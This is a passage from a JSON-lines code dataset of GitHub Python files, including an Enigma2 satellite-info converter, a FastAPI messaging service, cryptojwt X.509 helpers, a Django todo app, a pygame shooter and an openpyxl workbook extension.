if isinstance(transponderData, float):\n                    return ''\n                if transponderData.has_key('tuner_type'):\n                    if transponderData['tuner_type'] == 'DVB-S' or transponderData['tuner_type'] == 'DVB-S2':\n                        orbital = transponderData['orbital_position']\n                        orbital = int(orbital)\n                        if orbital > 1800:\n                            orbital = str(float(3600 - orbital) / 10.0) + 'W'\n                        else:\n                            orbital = str(float(orbital) / 10.0) + 'E'\n                    else:\n                        orbital = '0'\n            if not str(orbital) == '0':\n                satName = self.satNames.get(orbital, orbital)\n                if not satName == None and not satName == '':\n                    satName = devStr(satName, None, '(')\n                    cret = cret + devStr(satName, None, '/')\n                    if str(orbital) not in satName:\n                        cret = cret + ' (' + str(orbital) + ')'\n            cret = cret + ' ' + getFEData(transponderData)\n            return cret\n        except:\n            return '---x---'\n\n        return\n\n    def cargasat(self, tipo, sixml = True):\n        if tipo < 1 or tipo > 6:\n            return\n        else:\n            if tipo == 1:\n                sixml = False\n            if not self.seg_plano == None:\n                return\n            try:\n                self.seg_plano._Thread__stop()\n            except:\n                pass\n\n            self.seg_plano = None\n            self.seg_plano = segundoplano(self, sixml)\n            self.seg_plano.start()\n            return\n\n    def subcargasat(self, sixml = True):\n        if sixml:\n            try:\n                satXml = parse('/etc/tuxbox/satellites.xml').getroot()\n                if satXml is not None:\n                    for sat in satXml.findall('sat'):\n                        name = sat.get('name') or None\n                        position = sat.get('position') or None\n                        if name is not None and position is not None:\n                            position = '%s.%s' % (position[:-1], position[-1:])\n                            if position.startswith('-'):\n                                position = '%sW' % position[1:]\n                            else:\n                                position = '%sE' % position\n                            if position.startswith('.'):\n                                position = '0%s' % position\n                            self.satNames[position] = name\n\n            except:\n                pass\n\n        try:\n            self.tv_list = self.getListFromRef(eServiceReference('1:7:1:0:0:0:0:0:0:0:(type == 1) || (type == 17) || (type == 195) || (type == 25) FROM BOUQUET \"bouquets.tv\" ORDER BY bouquet'))\n            self.radio_list = self.getListFromRef(eServiceReference('1:7:2:0:0:0:0:0:0:0:(type == 2) FROM BOUQUET \"bouquets.radio\" ORDER BY bouquet'))\n        except:\n            pass\n\n        self.seg_plano = None\n        return\n\n    def changed(self, what):\n        if what[0] != self.CHANGED_SPECIFIC or what[1] == self.type:\n            Converter.changed(self, what)\n","repo_name":"OpenPE/fhd4-skin","sub_path":"usr/lib/enigma2/python/Components/Converter/nBmExtendedServiceInfo.py","file_name":"nBmExtendedServiceInfo.py","file_ext":"py","file_size_in_byte":20322,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"77"}
+{"seq_id":"21012076282","text":"import pickle\nimport os\n\ndef separate_repeats(seqs, overlap_thresh):\n    reads_repeat = {}\n    reads_foldback = {}\n    reads_distal = {}\n\n    for k, v in seqs.items():\n        has_repeat = False\n        has_foldback = False\n        has_distal = False\n\n        for i in range(1, len(v)):\n            if v[i][3] != v[i-1][3]:\n                has_distal = True\n                continue\n            overlap = (min(v[i-1][5], v[i][5]) - max(v[i-1][4], v[i][4])) / min(v[i][5] - v[i][4], v[i-1][5] - v[i-1][4])\n            if overlap > overlap_thresh:\n                if v[i][2] != v[i-1][2]:\n                    has_foldback = True\n                else:\n                    has_repeat = True\n            else:\n                has_distal = True\n\n        if has_repeat:\n            reads_repeat[k] = v\n        if has_foldback:\n            reads_foldback[k] = v\n        if has_distal:\n            reads_distal[k] = v\n\n    return reads_repeat, reads_foldback, reads_distal\n\ndef filter_breakpoints(in_path, out_path, overlap_thresh):\n    with open(in_path, \"rb\") as in_file:\n        seqs, lens = pickle.load(in_file)\n\n    reads_repeat, reads_foldback, reads_distal = separate_repeats(seqs, overlap_thresh)\n\n    for k, v in reads_distal.items(): ####\n        print(k, v) ####\n    print(len(reads_repeat), len(reads_foldback), len(reads_distal))\n\n    res = reads_repeat, reads_foldback, reads_distal, lens\n    with open(out_path, \"wb\") as out_file:\n        pickle.dump(res, out_file)\n\nif __name__ == \"__main__\":\n    data_dir = \"/oak/stanford/groups/wjg/atwang/ecdna/data\"\n    in_path = os.path.join(data_dir, \"COLO320DM_gDNA_nanopore_guppy_4.4_splits.pickle\")\n    out_path = os.path.join(data_dir, \"COLO320DM_gDNA_nanopore_guppy_4.4_cats.pickle\")\n\n    overlap_thresh = 0.5\n    filter_breakpoints(in_path, out_path, overlap_thresh)","repo_name":"austintwang/ecDNA","sub_path":"filter_breakpoints.py","file_name":"filter_breakpoints.py","file_ext":"py","file_size_in_byte":1818,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"77"}
+{"seq_id":"26707680421","text":"import espressopp\n\n# try to run this script with force_capping switched on and off\nforceCapping = True\n\n# specify number of particles\nnum_particles = 200\nrho = 0.85\nL   = pow(num_particles/rho, 1.0/3.0)\n\n# setup random LennardJones system\n# this system is likely to explode on integration, because particles can strongly overlap\nsystem, integrator = espressopp.standard_system.LennardJones(num_particles, box=(L, L, L), temperature=1.0)\n\n# choose a smaller timestep\nintegrator.dt = 0.0001\n\nif forceCapping:\n    max_force = 100000.0\n    # define force capping extension\n    capForce = espressopp.integrator.CapForce(system, max_force)\n    # and add it to the integrator\n    integrator.addExtension(capForce)\n\nespressopp.tools.analyse.info(system, integrator)\n\nsock = espressopp.tools.vmd.connect(system)\nfor i in range(1000):\n    # make 10 Velocity-Verlet integration steps\n    integrator.run(10)\n    # print system information\n    espressopp.tools.analyse.info(system, integrator)\n    # update postions in VMD\n    espressopp.tools.vmd.imd_positions(system, sock)\n    #switch off force capping after some time\n    if forceCapping and i>100:\n        capForce.disconnect()\n        forceCapping = False\n        print(\"switching off force capping\")\n","repo_name":"espressopp/espressopp","sub_path":"examples/force_capping/force_capping.py","file_name":"force_capping.py","file_ext":"py","file_size_in_byte":1244,"program_lang":"python","lang":"en","doc_type":"code","stars":39,"dataset":"github-code","pt":"77"}
+{"seq_id":"17874820742","text":"matrix = []\r\nfor _ in range(5):\r\n    a = list(input())\r\n    matrix.append(a)\r\nmaxx = 0\r\nfor m in matrix:\r\n    if maxx < len(m):\r\n        maxx = len(m)\r\n\r\nfor i in range(maxx):\r\n    for j in range(5):\r\n        try:\r\n            print(matrix[j][i], end=\"\")\r\n        except:\r\n            continue","repo_name":"mungjimangji/algorithm","sub_path":"백준/Bronze/10798. 세로읽기/세로읽기.py","file_name":"세로읽기.py","file_ext":"py","file_size_in_byte":293,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"77"}
+{"seq_id":"7737983407","text":"import numpy as np\n# Timothy Tyree\n# 12.4.2020\n\n#Ready-Made Example\n\nfrom queue import PriorityQueue\n\nq = PriorityQueue()\n\nq.put((4, 'Read'))\nq.put((2, 'Play'))\nq.put((5, 'Write'))\nq.put((1, 'Code'))\nq.put((3, 'Study'))\n\nwhile not q.empty():\n    next_item = q.get()\n    print(next_item)\n\n# the following parallel priority queue is very fast, but it makes use of bucket heaps, which I haven't found a ready-made soln for...\n# \"A parallel priority queue with fast updates for GPU architectures\" by John Iacono et al. (2019)\n# `parallel priority queue.pdf` <<prereq?: `bucket heap paper.pdf`, which looks complicated>>\n","repo_name":"timtyree/avi","sub_path":"nb/lib/controller/priority_queue.py","file_name":"priority_queue.py","file_ext":"py","file_size_in_byte":616,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"77"}
+{"seq_id":"11181933850","text":"from fastapi import FastAPI\n\nfrom src.main.shared.amqp.amqp_consumer import AmqpConsumer\nfrom src.main.shared.amqp.amqp_publisher import AmqpPublisher\nfrom src.main.post.settings import settings\nfrom src.main.post.util import handle_user_registration, handle_vote_casted, handle_user_deleted, \\\n    handle_post_awarded\n\n\nclass PostService(FastAPI):\n    def __init__(self, *args, **kwargs):\n        super().__init__(*args, **kwargs)\n\n        self.user_registered_amqp_consumer = None\n        self.post_vote_casted_amqp_consumer = None\n        self.user_deleted_amqp_consumer = None\n        self.post_awarded_amqp_consumer = None\n        self.initialize_amqp_consumers()\n\n        self.post_created_amqp_publisher = None\n        self.initialize_amqp_publishers()\n\n    def initialize_amqp_consumers(self):\n        self.user_registered_amqp_consumer = AmqpConsumer(\n            settings.AMQP_URL,\n            exchange_name=settings.AMQP_USER_REGISTERED_EXCHANGE_NAME,\n            queue_name=settings.AMQP_USER_REGISTERED_QUEUE_NAME,\n            incoming_message_handler=handle_user_registration,\n        )\n        self.post_vote_casted_amqp_consumer = AmqpConsumer(\n            settings.AMQP_URL,\n            exchange_name=settings.AMQP_POST_VOTE_CASTED_EXCHANGE_NAME,\n            queue_name=settings.AMQP_POST_VOTE_CASTED_QUEUE_NAME,\n            incoming_message_handler=handle_vote_casted,\n        )\n        self.user_deleted_amqp_consumer = AmqpConsumer(\n            settings.AMQP_URL,\n            exchange_name=settings.AMQP_USER_DELETED_EXCHANGE_NAME,\n            queue_name=settings.AMQP_USER_DELETED_QUEUE_NAME,\n            incoming_message_handler=handle_user_deleted,\n        )\n        self.post_awarded_amqp_consumer = AmqpConsumer(\n            settings.AMQP_URL,\n            exchange_name=settings.AMQP_POST_AWARDED_EXCHANGE_NAME,\n            queue_name=settings.AMQP_POST_AWARDED_QUEUE_NAME,\n            incoming_message_handler=handle_post_awarded,\n        )\n\n    def initialize_amqp_publishers(self):\n        self.post_created_amqp_publisher = AmqpPublisher(\n            settings.AMQP_URL,\n            exchange_name=settings.AMQP_POST_CREATED_EXCHANGE_NAME,\n        )\n","repo_name":"stoyanK7/not-reddit","sub_path":"api/src/main/post/service.py","file_name":"service.py","file_ext":"py","file_size_in_byte":2177,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"77"}
+{"seq_id":"8261521969","text":"import base64\nimport hashlib\nimport logging\n\nfrom cryptography import x509\nfrom cryptography.hazmat.backends import default_backend\nfrom cryptography.hazmat.primitives import serialization\nfrom cryptography.hazmat.primitives.asymmetric import ec\nfrom cryptography.hazmat.primitives.asymmetric import rsa\n\nfrom cryptojwt.utils import b64e\n\nlogger = logging.getLogger(__name__)\n\n\ndef import_public_key_from_pem_file(filename):\n    \"\"\"\n    Read a public RSA key from a PEM file.\n\n    :param filename: The name of the file\n    :param passphrase: A pass phrase to use to unpack the PEM file.\n    :return: A public key instance\n    \"\"\"\n    with open(filename, \"rb\") as key_file:\n        public_key = serialization.load_pem_public_key(key_file.read(), backend=default_backend())\n    return public_key\n\n\ndef import_private_key_from_pem_file(filename, passphrase=None):\n    \"\"\"\n    Read a private RSA key from a PEM file.\n\n    :param filename: The name of the file\n    :param passphrase: A pass phrase to use to unpack the PEM file.\n    :return: A private key instance\n    \"\"\"\n    with open(filename, \"rb\") as key_file:\n        private_key = serialization.load_pem_private_key(\n            key_file.read(), password=passphrase, backend=default_backend()\n        )\n    return private_key\n\n\nPREFIX = \"-----BEGIN CERTIFICATE-----\"\nPOSTFIX = \"-----END CERTIFICATE-----\"\n\n\ndef import_public_key_from_pem_data(pem_data):\n    \"\"\"\n    Extract an RSA key from a PEM-encoded X.509 certificate\n\n    :param pem_data: RSA key encoded in standard form\n    :return: rsa.RSAPublicKey instance\n    \"\"\"\n    if not pem_data.startswith(PREFIX):\n        pem_data = bytes(\"{}\\n{}\\n{}\".format(PREFIX, pem_data, POSTFIX), \"utf-8\")\n    else:\n        pem_data = bytes(pem_data, \"utf-8\")\n    cert = x509.load_pem_x509_certificate(pem_data, default_backend())\n    return cert.public_key()\n\n\ndef import_public_key_from_cert_file(filename):\n    \"\"\"\n    Read a public key from a certificate file.\n\n    :param filename: The name of the file\n    :return: A public key instance\n    \"\"\"\n    with open(filename, \"rb\") as key_file:\n        cert = x509.load_pem_x509_certificate(key_file.read(), backend=default_backend())\n    return cert.public_key()\n\n\ndef der_cert(der_data):\n    \"\"\"\n    Load a DER encoded certificate\n\n    :param der_data: DER-encoded certificate\n    :return: A cryptography.x509.certificate instance\n    \"\"\"\n    if isinstance(der_data, str):\n        der_data = bytes(der_data, \"utf-8\")\n    return x509.load_der_x509_certificate(der_data, default_backend())\n\n\ndef load_x509_cert(url, httpc, spec2key, **get_args):\n    \"\"\"\n    Get and transform a X509 cert into a key.\n\n    :param url: Where the X509 cert can be found\n    :param httpc: HTTP client to use for fetching\n    :param spec2key: A dictionary over keys already seen\n    :param get_args: Extra key word arguments to the HTTP GET request\n    :return: List of 2-tuples (keytype, key)\n    \"\"\"\n    try:\n        r = httpc(\"GET\", url, allow_redirects=True, **get_args)\n        if r.status_code == 200:\n            cert = str(r.text)\n            try:\n                public_key = spec2key[cert]  # If I've already seen it\n            except KeyError:\n                public_key = import_public_key_from_pem_data(cert)\n                spec2key[cert] = public_key\n\n            if isinstance(public_key, rsa.RSAPublicKey):\n                return {\"rsa\": public_key}\n            elif isinstance(public_key, ec.EllipticCurvePublicKey):\n                return {\"ec\": public_key}\n        else:\n            raise Exception(\"HTTP Get error: %s\" % r.status_code)\n    except Exception as err:  # not a RSA key\n        logger.warning(\"Can't load key: %s\" % err)\n        return []\n\n\ndef x5t_calculation(cert):\n    \"\"\"\n    base64url-encoded SHA-1 thumbprint (a.k.a. digest) of the DER\n    encoding of an X.509 certificate.\n\n    :param cert: DER encoded X.509 certificate\n    :return: x5t value\n    \"\"\"\n    if isinstance(cert, str):\n        der_cert = base64.b64decode(cert.encode(\"ascii\"))\n    else:\n        der_cert = base64.b64decode(cert)\n\n    return b64e(hashlib.sha1(der_cert).digest())\n","repo_name":"IdentityPython/JWTConnect-Python-CryptoJWT","sub_path":"src/cryptojwt/jwk/x509.py","file_name":"x509.py","file_ext":"py","file_size_in_byte":4102,"program_lang":"python","lang":"en","doc_type":"code","stars":12,"dataset":"github-code","pt":"77"}
+{"seq_id":"9024451628","text":"# search -requests http for humans- on net\r\nimport requests\r\n\r\n# r= requests.get('https://financialmodelingprep.com/api/v3/income-statement/AAPL?period=quarter&limit=400&apikey=YOUR_API_KEY')\r\n# print(r.text) #this is giving me content of r i.e. above api/url\r\n# print(r.status_code) #google http status code\r\n\r\n\r\n\r\n# --------------------------POST REQUEST---------------------------#\r\n#NOTE- PASSWORDS VGERE URL VER NAI PATHVAT. POST REQ NE SEND HOTAT\r\n# url = \"www.something.com\" #random ghetlay, DO NOT RUN THIS PART\r\n# data = {\r\n#     'p1':2, 'p2':9\r\n# }\r\n#\r\n# r2 = requests.post(url = url, data= data)\r\n\r\n# -------------------------------------TASK-------------------------------------#\r\n# take any free api , send post requests\r\nurl = 'https://reqbin.com/echo/post/form'\r\ndata = {\"userid\":123, 'pincode': 300675}\r\nr = requests.post(url, data)\r\nprint(r.text)\r\nprint(r.status_code)\r\n\r\n\r\n\r\n","repo_name":"Juilee27/Python","sub_path":"PyCharm/REQUESTSSmodule.py","file_name":"REQUESTSSmodule.py","file_ext":"py","file_size_in_byte":893,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"77"}
+{"seq_id":"71167274168","text":"from django.shortcuts import render, redirect\nfrom django.http import HttpResponse\n\nfrom .models import Todo\n\ndef index(request):\n    todos = Todo.objects.all()[:10]\n\n    context = {\n        'todos':todos\n    }\n    return render(request, 'index.html', context)\n\ndef details(request, id):\n    todo = Todo.objects.get(id=id)\n\n    context = {\n        'todo':todo\n    }\n    return render(request, 'details.html', context)\n\ndef add(request):\n    if(request.method == 'POST'):\n        title = request.POST['title']\n        text = request.POST['text']\n        try:\n            request.POST['completed']\n            completed=True\n        except:\n            completed=False\n\n        todo = Todo(title=title, text=text,completed=completed)\n        todo.save()\n\n        return redirect('/todos')\n    else:\n        return render(request, 'add.html')\n\ndef mark_complete(request):\n    id = request.POST['id']\n    value = request.POST['value']\n    Todo.objects.filter(id=id).update(completed=value)\n    return redirect('/todos/details/' + id)","repo_name":"kixes/django-todolist","sub_path":"todos/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":1029,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"77"}
+{"seq_id":"36580456554","text":"import pygame\r\nimport random\r\nimport math\r\nfrom pygame import mixer\r\n\r\n# Initialize PyGame\r\npygame.init()\r\n\r\n# Define screen resolution\r\ndisplay = pygame.display.set_mode((800, 600))\r\n\r\n# Title, icon and background\r\npygame.display.set_caption('Monster Invasion by Franco Sparn')\r\nicon = pygame.image.load('static/img/icon.png')\r\npygame.display.set_icon(icon)\r\nbackground = pygame.image.load('static/img/background.png')\r\n\r\n# Game music\r\nmixer.music.load('static/sounds/main.mp3')\r\nmixer.music.set_volume(0.1)\r\nmixer.music.play(-1)\r\n\r\n# Player variables\r\nimg_player = pygame.image.load('static/img/dragon.png')\r\nplayer_x = 368\r\nplayer_y = 530\r\nplayer_x_change = 0\r\n\r\n# Enemy variables\r\nimg_enemy = []\r\nenemy_x = []\r\nenemy_y = []\r\nenemy_x_change = []\r\nenemy_y_change = []\r\nenemy_amount = 5\r\n\r\nfor e in range(enemy_amount):\r\n    img_enemy.append(pygame.image.load('static/img/enemy.png'))\r\n    enemy_x.append(random.randint(0, 736))\r\n    enemy_y.append(random.randint(0, 300))\r\n    enemy_x_change.append(2.5)\r\n    enemy_y_change.append(50)\r\n\r\n# Bullet variables\r\nimg_bullet = pygame.image.load('static/img/bullet.png')\r\nbullet_x = 0\r\nbullet_y = 530\r\nbullet_x_change = 0\r\nbullet_y_change = 5\r\nbullet_visible = False\r\n\r\n# Score variable\r\nscore = 0\r\nfont = pygame.font.Font('static/fonts/VCR_OSD_MONO_1.001.ttf', 28)\r\ntext_x = 10\r\ntext_y = 10\r\n\r\n# Endgame text\r\nend_font = pygame.font.Font('static/fonts/VCR_OSD_MONO_1.001.ttf', 48)\r\n\r\n\r\n# End text function\r\ndef end_text():\r\n    end_message = end_font.render('Game Over', True, (0, 0, 0))\r\n    display.blit(end_message, (290, 200))\r\n    \r\n\r\n# Show score function\r\ndef show_score(x, y):\r\n    text = font.render(f'Score:{score}', True, (255, 255, 255))\r\n    display.blit(text, (x, y))\r\n\r\n\r\n# Enemy function\r\ndef enemy(x, y, enem):\r\n    display.blit(img_enemy[enem], (x, y))\r\n\r\n\r\n# Player function\r\ndef player(x, y):\r\n    display.blit(img_player, (x, y))\r\n\r\n\r\n# Bullet function\r\ndef shooting_bullet(x, y):\r\n    global bullet_visible\r\n    bullet_visible = True\r\n    display.blit(img_bullet, (x + 16, y + 10))\r\n\r\n\r\n# Detect collisions function\r\ndef collision_ok(x_1, y_1, x_2, y_2):\r\n    distance = math.sqrt((math.pow(x_2 - x_1, 2) + math.pow(y_2 - y_1, 2)))\r\n    if distance < 27:\r\n        return True\r\n    else:\r\n        return False\r\n\r\n\r\n# Game loop\r\nrun = True\r\n\r\nwhile run:\r\n\r\n    # Background image\r\n    display.blit(background, (0, 0))\r\n\r\n    # Iterate events\r\n    for event in pygame.event.get():\r\n\r\n        # Close event\r\n        if event.type == pygame.QUIT:\r\n            run = False\r\n\r\n        # Event to check if a keys is pressed\r\n        if event.type == pygame.KEYDOWN:\r\n            if event.key == pygame.K_LEFT:\r\n                player_x_change = -2\r\n            if event.key == pygame.K_RIGHT:\r\n                player_x_change = 2\r\n            if event.key == pygame.K_SPACE:\r\n                bullet_sound = mixer.Sound('static/sounds/shoot.mp3')\r\n                bullet_sound.set_volume(0.3)\r\n                bullet_sound.play()\r\n                if not bullet_visible:\r\n                    bullet_x = player_x\r\n                    shooting_bullet(bullet_x, bullet_y)\r\n\r\n        # Event that checks if a key was released\r\n        if event.type == pygame.KEYUP:\r\n            if event.key == pygame.K_LEFT or event.key == pygame.K_RIGHT:\r\n                player_x_change = 0\r\n\r\n    # Modify player location\r\n    player_x += player_x_change\r\n\r\n    # Keep player location\r\n    if player_x <= 0:\r\n        player_x = 0\r\n    elif player_x >= 736:\r\n        player_x = 736\r\n\r\n    # Modify enemy location\r\n    for e in range(enemy_amount):\r\n\r\n        # End of the game\r\n        if enemy_y[e] > 490:\r\n            for k in range(enemy_amount):\r\n                enemy_y[k] = 1000\r\n            end_text()\r\n            break\r\n\r\n        enemy_x[e] += enemy_x_change[e]\r\n\r\n        # Keep enemy location\r\n        if enemy_x[e] <= 0:\r\n            enemy_x_change[e] = 3.5\r\n            enemy_y[e] += enemy_y_change[e]\r\n        elif enemy_x[e] >= 736:\r\n            enemy_x_change[e] = -3.5\r\n            enemy_y[e] += enemy_y_change[e]\r\n\r\n        # Collision\r\n        collision = collision_ok(enemy_x[e], enemy_y[e], bullet_x, bullet_y)\r\n        if collision:\r\n            hit_sound = mixer.Sound('static/sounds/hit.mp3')\r\n            hit_sound.set_volume(0.3)\r\n            hit_sound.play()\r\n            bullet_y = 500\r\n            bullet_visible = False\r\n            score += 1\r\n            enemy_x[e] = random.randint(0, 736)\r\n            enemy_y[e] = random.randint(0, 300)\r\n\r\n        enemy(enemy_x[e], enemy_y[e], e)\r\n\r\n    # Bullet motion\r\n    if bullet_y <= 0:\r\n        bullet_y = 500\r\n        bullet_visible = False\r\n\r\n    if bullet_visible:\r\n        shooting_bullet(bullet_x, bullet_y)\r\n        bullet_y -= bullet_y_change\r\n\r\n    # Run functions\r\n    player(player_x, player_y)\r\n    show_score(text_x, text_y)\r\n\r\n    # Run update\r\n    pygame.display.update()\r\n","repo_name":"francosparn/python_monster_invasion","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":4904,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"77"}
+{"seq_id":"70397622969","text":"import logging\nimport requests\nfrom requests.exceptions import Timeout\nfrom ..iot.IOTClient import IOTClient\nfrom .interpreter import Interpreter\nfrom lib.commands import (\n\tDefineWord,\n\tGetNews,\n\tGetWeatherForecast,\n\tGoogleSearch,\n\tPlayYoutubeVideo,\n\tShutdownSystem,\n\tStartOfflineMusic,\n\tStopOfflineMusic,\n\t# StopProgram,\n\tTellAJoke,\n\tTellTime,\n\tWikiSearch,\n\tDefaultCommand\n)\n\nclass RasaInterpreterException(Exception):\n\tpass\n\n\n\nclass RasaInterpreter(Interpreter):\n\tRASA_NLU_SERVER_BASE_URL = \"http://localhost:5005/\"\n\tRASA_NLU_PARSE_URL = f\"{RASA_NLU_SERVER_BASE_URL}model/parse\"\n\tHEADERS = {'Content-type': 'application/json', 'Accept': 'text/plain'}\n\tlogger = logging.getLogger(__name__)\n\n\t@staticmethod\n\tdef mapIntentToEvent(intent):\n\t\tevent = DefaultCommand.__name__\n\t\tif intent == \"define_word\":\n\t\t\tevent = DefineWord.__name__\n\t\telif intent == \"play_music\":\n\t\t\tevent = StartOfflineMusic.__name__\n\t\telif intent == \"stop_music\":\n\t\t\tevent = StopOfflineMusic.__name__\n\t\telif intent == \"tell_time\":\n\t\t\tevent = TellTime.__name__\n\t\telif intent == \"tell_joke\":\n\t\t\tevent = TellAJoke.__name__\n\t\telif intent == \"read_news\":\n\t\t\tevent = GetNews.__name__\n\t\telif intent == \"weather_forecast\":\n\t\t\tevent = GetWeatherForecast.__name__\n\t\telif intent == \"shutdown_system\":\n\t\t\tevent = ShutdownSystem.__name__\n\t\telif intent == \"youtube_search\":\n\t\t\tevent = PlayYoutubeVideo.__name__\n\t\telif intent == \"wiki_search\":\n\t\t\tevent = WikiSearch.__name__\n\t\telif intent == \"google_search\":\n\t\t\tevent = GoogleSearch.__name__\n\t\t\n\t\treturn event\n\t\t\n\t\n\t@staticmethod\n\tdef extractEntity(responseJs):\n\t\tentityIndices = list()\n\t\tentities = responseJs[\"entities\"]\n\t\tentityPhrase = None\n\n\t\tif len(entities) > 0:\n\t\t\tfor entity in entities:\n\t\t\t\tentityIndices.append(entity[\"start\"])\n\t\t\t\tentityIndices.append(entity[\"end\"])\n\n\t\t\tentityPhrase = responseJs[\"text\"][min(entityIndices): max(entityIndices)]\n\n\t\treturn entityPhrase\n\n\t@staticmethod\n\tdef processIOTcmd(cmd):\n\t\t# Detect for IOT commands 1st\n\t\tif cmd == \"switch_on_lights\":\n\t\t\tevent = \"lights\"\n\t\t\tdata = \"1\"\n\t\telif cmd == \"switch_off_lights\":\n\t\t\tevent = \"lights\"\n\t\t\tdata = \"0\"\n\t\t\n\t\treturn event, data\n\t\n\t@staticmethod\n\tdef isIOTcmd(cmd):\n\t\treturn cmd in IOTClient.ALLOWED_COMMANDS\n\n\t@classmethod\n\tdef process(cls, command):\n\t\tif command == Interpreter.FAILED_TOKEN:\n\t\t\tcls.logger.warn(\"Failed to interpret command. Reverting to default command\")\n\t\t\treturn DefaultCommand.__name__, None\n\t\ttry:\n\t\t\tresponse = requests.post(cls.RASA_NLU_PARSE_URL, \n\t\t\t\t\tjson = { \"text\": command }, \n\t\t\t\t\theaders = cls.HEADERS,\n\t\t\t\t\ttimeout = 0.7)\n\t\t\tcls.logger.info(\"Rasa Server responded\")\n\t\texcept Timeout:\n\t\t\tcls.logger.warn(\"Rasa Server timeout\")\n\t\t\traise RasaInterpreterException(\"Server took too long to respond\")\n\t\t\t\n\t\tif response.status_code == 200:\n\t\t\tjs = response.json()\n\t\t\tintent = js[\"intent\"][\"name\"]\n\t\t\tcls.logger.info(f\"Detected intent: {intent}\")\n\n\t\t\tif RasaInterpreter.isIOTcmd(intent):\n\t\t\t\treturn RasaInterpreter.processIOTcmd(intent)\n\t\t\telse:\n\t\t\t\tevent = cls.mapIntentToEvent(intent)\n\t\t\t\tdata = cls.extractEntity(js)\n\n\t\t\t\tcls.logger.info(f\"Event, data: {event}, {data}\")\n\t\t\t\treturn event, data\n\n\t\telse:\n\t\t\traise RasaInterpreterException(f\"Response status code: {response.status_code} ({response.reason})\")","repo_name":"beazt123/homemade-ai-assistant","sub_path":"lib/interpreters/RasaInterpreter.py","file_name":"RasaInterpreter.py","file_ext":"py","file_size_in_byte":3222,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"77"}
+{"seq_id":"73832139449","text":"def listarMaestro(maestros1):\r\n    print (\"maestros\")\r\n    con = 1\r\n    for i in maestros1:\r\n        datos = \"{0}. id: {1} - nombre: {2} - apellido: {3}\"\r\n        print(datos.format(con,i[0],i[1],i[2]))\r\n        con = con + 1\r\n    print(\"\")\r\ndef listarbases(bases):\r\n    print (\"bases\")\r\n    con = 1\r\n    for i in bases:\r\n        datos = \"{0}. nombre: {1}\"\r\n        print(datos.format(con,i[0]))\r\n        con = con + 1\r\n    print(\"\")    \r\ndef pedirMaestros():\r\n    id = int(input(\"Escriba un nuevo id: \"))\r\n    nombre = input(\" Nuevo nombre: \")\r\n    apellido = input(\" Nuevo apellido: \")\r\n    maestro = (id,nombre,apellido)\r\n    return maestro\r\n\r\ndef eliminar(maestro):\r\n    listarMaestro(maestro)\r\n    existeid = False\r\n    id = int(input(\"ID de maestro a eliminar: \"))\r\n    for i in maestro:\r\n        if i[0] == id:\r\n            existeid = True\r\n            break\r\n    if not existeid:\r\n        id = \" \"\r\n    return id\r\ndef actualizarMaestros(maestros):\r\n    listarMaestro(maestros)\r\n    existeid = False\r\n    id = int(input(\"ID de maestro a editar: \"))\r\n    for i in maestros:\r\n        if i[0] == id:\r\n            existeid = True\r\n            break\r\n    if existeid:\r\n        nombre = input(\" Nuevo nombre: \")\r\n        apellido = input(\" Nuevo apellido: \")\r\n        maestros = (id,nombre,apellido)\r\n    else: \r\n        maestros = None\r\n    return maestros\r\n    \r\n","repo_name":"ElmerRCH/CRUD-PY","sub_path":"funciones.py","file_name":"funciones.py","file_ext":"py","file_size_in_byte":1366,"program_lang":"python","lang":"es","doc_type":"code","stars":0,"dataset":"github-code","pt":"77"}
+{"seq_id":"25936395667","text":"from pathlib import Path\n\nimport openpyxl.workbook.workbook as ow\nfrom openpyxl.utils.exceptions import ReadOnlyWorkbookException\nfrom openpyxl.worksheet._write_only import WriteOnlyWorksheet\n\nfrom ..worksheet.worksheet import Worksheet\nfrom pyworkkit.utils.function import Others\n\n\nclass Workbook(ow.Workbook):\n    \"\"\"\n    继承了原 Workbook 的类，为了实现扩展方法\n    \"\"\"\n\n    def __init__(self, write_only=False, iso_dates=False,) -> None:\n        super(Workbook, self).__init__(write_only, iso_dates)\n\n    def print_self(self):\n        print('我是自定义的哒！')\n\n    def find_sheet(self,find_name:str):\n        find_name = Others.str_fix(find_name)\n        range_=range(len(self.sheetnames))\n        for i in range_:\n            re_name =Others.str_fix(self.sheetnames[i])\n            if (find_name in re_name) or (re_name in find_name):\n                return self.sheetnames[i]\n        return find_name\n\n    def load_sheet(self, sheetname: str,vague:bool=False) -> Worksheet:\n        if isinstance(sheetname, str):\n            if sheetname in self.sheetnames:\n                print('当前表格为：'+sheetname)\n                ws = self[sheetname]\n                return ws\n            elif vague:\n                return self.load_sheet(self.find_sheet(sheetname))\n            else:\n                raise ValueError(\"can't find the sheet named {}\".format(sheetname))\n        else:\n            raise TypeError(\"sheetname must be str and not empty .\")\n\n    def create_sheet(self, sheetname):\n        if sheetname in self.sheetnames:\n            raise ValueError(\"sheet {0} is exist.\".format(sheetname))\n        ws = self.create_sheet(sheetname)\n        return ws\n\n    def copy_model_sheet(self, modelname, sheetname):\n        if modelname in self.sheetnames:\n            moudlesheet = self[modelname]\n            copyws = self.copy_worksheet(moudlesheet)\n            copyws.title = sheetname\n            return copyws\n        else:\n            raise ValueError('没有名为《'+modelname+'》的模板表格')\n\n    def apart_sheets_as_books(self, folder: str, pattern: str = \"{0}\", col_list=None, callback=None):\n        for name in self.sheetnames:\n            from_worksheet = self.load_sheet(name)\n            df = from_worksheet.unmerge_cell(True).toDataframe()\n            out = Workbook()\n            to_worksheet = out.create_sheet(title=name)\n            # 数据转移\n            to_worksheet.append_df(df)\n            # 样式转移\n            to_worksheet.sys_style(from_worksheet)\n            # 自动列宽\n            to_worksheet.auto_width(col_list)\n            # 额外操作，用函数传入\n            if callback:\n                to_worksheet = callback(to_worksheet)\n            if isinstance(to_worksheet, Worksheet):\n                path = 